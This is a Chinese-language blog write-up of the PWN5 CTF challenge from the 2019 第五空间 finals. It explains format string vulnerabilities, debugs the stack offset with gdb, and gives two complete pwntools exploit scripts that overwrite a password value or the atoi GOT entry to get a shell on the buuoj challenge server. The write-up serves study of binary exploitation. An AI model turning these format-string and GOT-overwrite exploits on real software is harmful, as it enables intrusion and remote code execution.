当前位置:网站首页>writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)
writeUP-[第五空间2019 决赛]PWN5(待进一步完善待研究内容)
2022-08-09 15:01:00 【irontys】
声明:本文用途为供自己学习
参考文章一:CSDN-云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
参考文章二:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
参考文章四:知乎-看雪(作者)-PWN入门-格式化字符串漏洞
参考文章五:简书-杰森任(作者)-PWN格式化字符串漏洞1(基础知识)
参考文章七:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
一、思路
参考文章:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法(参考部分:题目分析)
(一)格式化字符串漏洞
参考文章:CSDN-lifanxin-CTF(作者)-pwn题之格式化字符串漏洞详解(参考部分:概念)
格式化字符串漏洞的成因在于像printf/sprintf/snprintf等格式化打印函数都是接受可变参数的,而一旦程序编写不规范,比如正确的写法是:printf("%s", pad),偷懒写成了:printf(pad),此时就存在格式化字符串漏洞
(二)方法一:篡改随机数(密码)

如图可知main函数的功能是从/dev/urandom文件读取一个随机数,比对输入的passwd是否与该随机数一致,一致则getshell,而printf函数没有设定格式化参数,与输入的passwd比较的数字的地址也可以看到是0x804C044,因此可以利用格式化字符串漏洞,在第一次输入name的时候修改0x804C044的内容,第二次输入passwd时输入改内容(字符串格式,用str函数,其参数为16进制数字)
(三)方法二:篡改atoi地址为system地址并传入参数"/bin/sh"
第一次输入通过格式化字符串漏洞篡改atoi函数got地址为system函数的真实地址,第二次输入passwd为字符串"/bin/sh"
二、攻击过程
(一)方法一




根据上述内容,有Canary保护、有未给出格式化参数的错误使用的printf和地址已知的if语句中的变量,而且第一次read的数据长度为0x63个byte,因此用第一次输入构造payload,使得可以向0x804C044这个地址中任意写入。
以下是个人对于格式化字符串漏洞的相关深入探究:
1.审计代码(反汇编代码)和调试程序
(1)第一步
工具:pwngdb,IDApro32;
调试参数:b *0x80492BB(相关地址均通过IDA得到)、r、AAAA-%p-%p-%p、stack 20 、(此时显示为第一张图片)ni、stack 20(第二张图片);*
(以下内容过于基础)此时,eip指向0x80492bb,说明此时下一条执行的指令为push eax,所以当前执行的指令是lea eax,[ebp - 0x70]。
接着执行上述0x80492BB处的push eax(eax存放的为下一条l指令: call [email protected]的参数,即刚刚的输入的AAAA-%p-%p-%p起始位置所在的地址被压入栈中)
(2)第二步 深入探究
刚刚提到经过push eax后,输入的字符串的输入的AAAA-%p-%p-%p起始位置所在的地址被压倒了栈中,而AAAA-%p-%p-%p内容本身放在哪里?
在pwngdb中继续进行调试,调试参数:d、b *0x804929B、r、AAAA-%p-%p-%p。*
通过IDA的伪代码可以看到,键盘输入的内容被放入buf中,而buf的起始位置通过ebp信息(0xffffd0a8下图第一处划线处)和其与ebp的偏移量(0x70)可以算出来(上图第一处画线位置),就是0x804929B(也可以直接通过下图中第三处划线位置buf:0xffffd038看出来)
(3)第三步
再次回到第一步的第二张图,
此时输入调试命令:print /x *0xffffd038(以16进制格式打印栈空间上0xffffd038地址处的内容)*,结果如下
现在退出pwngdb,运行该程序,输入参数AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,结果如下图:
2.理论分析
第一个%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1)的内容,所以第一个%p的输出内容为0xffffd014的内容,依此类推。而buf的起始地址为0xffffd038,printf参数的地址为0xffffd010,所以其二者间的偏移量为10(0x28byte,每个偏移量占4byte,16进制)。在上图输出结果可以看到以AAAA为偏移量0开始算起,第十个偏移量的位置正是0x41414141(AAAA的16进制格式)。其他格式化字符串原理类似%p,例如%10$n,就是把当前格式化参数(%10$n)之前字符数(char类型)的数值大小,赋值给从printf的参数所在栈的位置的起始位置(偏移量为0)开始算起,第10个偏移量的栈空间的位置中的内容作为地址,把该地址对应的内容(只修改一个字(2个byte),改变修改的字节量可以改用%10$hn等(大概吧)),修改为前面说的“字符串数的数值大小”。
上段内容最后一句话参考文章:CSDN-Marx_ICB(作者)-【PWN】格式化字符串漏洞原理如下内容
%hhn 写一字节
%hn 写两字节
%n 写四字节
%ln 32位写四字节,64位写八字节
%lln 写八字节
(ps:关于"-"的输出问题(我自己在做题时的困惑),为什么"-"不影响输出结果如"0x41414141"的相对位置,因为,%p打印的是从printf参数的起始位置(本题中为0xffffd010,该位置偏移量为0)的下一个位置开始(偏移量为1),第一个%p的输出内容为0xffffd014的内容,此时还没有开始输出到存储字符串本身内容的位置,而printf在输出打印内容时是按顺序打印结果,例如先输出AAAA,在输出"-",遇到%p了,输出其对应偏移量(相对于printf参数)位置的内容,而"-"对应的16进制数就是2d,所以会看到从第十一个参数开始出现2d)
(二)方法二
修改exp.py的内容:
from pwn import *
#context.log_level = "DEBUG"
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']
print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
结果如下图:
发现如果用方法一精心地构造payload,会非常困难比如把atoi_got中的最后一字节0x34改成目的数值(0x80)相当困难,因为buf可写入长度仅为0x70个字节,当然也可以进一步想办法解决该问题,但是本文在此处决定使用pwntools自带的fmtstr_payload函数,以期同时掌握更多工具使用方法。构造的payload如下
payload=fmtstr_payload(10,{
atoi_got:system_sym})
第一个参数为第二个参数第一部分(即atoi_got)到printf的参数的偏移量,第二个参数的第一部分为要篡改的地址,第二个部分为要篡改之后的值。
(这里有个很奇怪的地方,就是当将elf.sym['system']改为elf.plt['system']时,仍然可以攻击成功,改成elf.got['system']后,攻击失败,这里我不太理解,应该是对plt、got的理解不够,之后尽快补上)
(三)其他:pwngdb中fmtarg和pwntools中FmtStr类
1.pwngdb中fmtarg

参见参考文章四。fmtarg使用及pwngdb、pwndbg的配置参见下面链接的文章。(如果输入fmtarg报错说没有该命令,则需要按下面文章进行配置)
参考文章八:CSDN-n19hT(作者)-gdb调试 | pwndbg+pwndbg联合使用
2.pwntools中FmtStr类
参考文章三:CSDN-lifanxin(作者)-CTF pwn题之格式化字符串漏洞详解
def exec_fmt(pad):
p = process("./pwn")
# send 还是 sendline以程序为准
p.send(pad)
return p.recv()
fmt = FmtStr(exec_fmt)
print("offset ===> ", fmt.offset)
输出结果如下。
这里有我不理解的两个点,一个是fmt = FmtStr(exec_fmt)这里,没有给exec_fmt传入任何参数(应该是py基础不好),另一个是还是没有理解FmtStr类的细节,这个需要继续学习。
三、攻击脚本
方法一
payload1参考博文:CSDN-Mokapeng(作者)-[第五空间2019 决赛]PWN5 ——两种解法
payload2参考博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
io = remote("node4.buuoj.cn",29457)
else:
io = process("./pwn1")
passwd = 0x804C044
payload1 = p32(passwd) + p32(passwd+1) + p32(passwd+2) + p32(passwd+3) + b"%10$n%11$n%12$n%13$n"
#payload2=b"AAAA%16$n%17$n%18$n%19$n"+p32(bss)+p32(bss+1)+p32(bss+2)+p32(bss+3)#(在此处这个形式的payload就是)就是想说明%16$n这样的格式化参数也要算做一个偏移量,64位由于0截断的原因,需要采取第二种payload的格式
io.sendline(payload1)
io.sendline(str(0x10101010))
io.interactive()
方法二
from pwn import *
#context.log_level = "DEBUG"
ifRemote = 1
if ifRemote:
io = remote("node4.buuoj.cn",25450)
else:
io = process("./pwn")
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_sym = elf.sym['system']
print("atoi_got:",hex(atoi_got))
print("system_sym:",hex(system_sym))
payload=fmtstr_payload(10,{
atoi_got:system_sym})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()
四、遇到的问题
(一)懒得尝试,希望于“吃别人做好的饭”
一开始对payload的构造不能理解,网上的博文大多讲的不清楚,或者说不对我的“胃口”,感觉自己关注的地方,网上的博文并没能为我解答,只有自己调试了。
比如网上有些地方讲的%p的偏移量是对于esp来讲的,哪一步的esp?有些博文并没有说。
拿博文:云啾啾啾(作者)-buuctf——[第五空间2019 决赛]PWN5 1举个例子,博文中说到:“在用户输入用户名处,先输入一个AAAA,试探会写在栈的哪个位置。”和"AAAA%16$n%17$n%18$n%19$n"这一段一共是24个字节,当写入栈里时,会占满第10,11,12,13,14,15个位置;,为什么用“试探”这个词,到底为什么在这样一个位置?写入栈里的第几个位置,可是栈不是在增长或减少吗?这个位置是固定的吗?相对于谁呢?在什么时候的相对位置呢?也许是博主已经对这种基本知识的掌握很扎实,并未深入讲解,然而我不能理解,于是本篇文章重点对我不理解的地方做了调试与深入探究。
(二)还是没有理解FmtStr类的细节。
(三)对plt,got表的相关内容理解不深,浮于表面。
五、总结反思
这次做题沉下心了仔细审题代码并且不懂的地方一步一步调试,采取一种绝不向不会的地方妥协的策略,发现很多问题都不是很难解决。而且还是要对不懂得知识做深入的研究,本文待进一步修改。
边栏推荐
- 数据库导入导出sql数据库文件
- Monte Carlo simulation
- 【SQL】595. 大的国家
- 【力扣】114. 二叉树展开为链表
- PhotoshopCS6视频教程学习笔记-基础部分之一
- Vim practical skills_3. Visual mode and command mode
- Data Fitting Methods Application of MATLAB in Mathematical Modeling (Second Edition)
- 【QT】QLayout: Attempting to add QLayout “to ***“, which already has a layout的终极解决方法
- Unity Shader零基础入门4:纹理贴图与法线贴图
- 【力扣】516. 最长回文子序列
猜你喜欢
随机推荐
#define DEBUG(format, ...) 以及 #、##、__VA_ARGS__和##__VA_ARGS__的作用
模糊综合评价
Postgraduate Work Weekly (Week 4)
Matlab做分布拟合及绘制频率分布直方图
【力扣】662. 二叉树最大宽度
【力扣】617. 合并二叉树
Heap series _0x02: The past and present of the heap (WinDbg+Visual Studio compilation)
ASCII码表
【力扣】207. 课程表
多元回归分析
堆(heap)系列_0x06:NT全局标志和gflags.exe一页纸
蓝桥杯嵌入式第四届省赛做题笔记
【力扣】516. 最长回文子序列
DOS命令
蒙特卡罗 Monte Carlo 模拟
Makefile通用模板
idea 用不了Ctrl+Shift+F快捷键全局搜索。
数学规划模型
Cloud Models and Logistic Regression - Applications of MATLAB in Mathematical Modeling (2nd Edition)
Heap series _0x05: A diagram analyzes the connection between heap block allocation and FreeLists









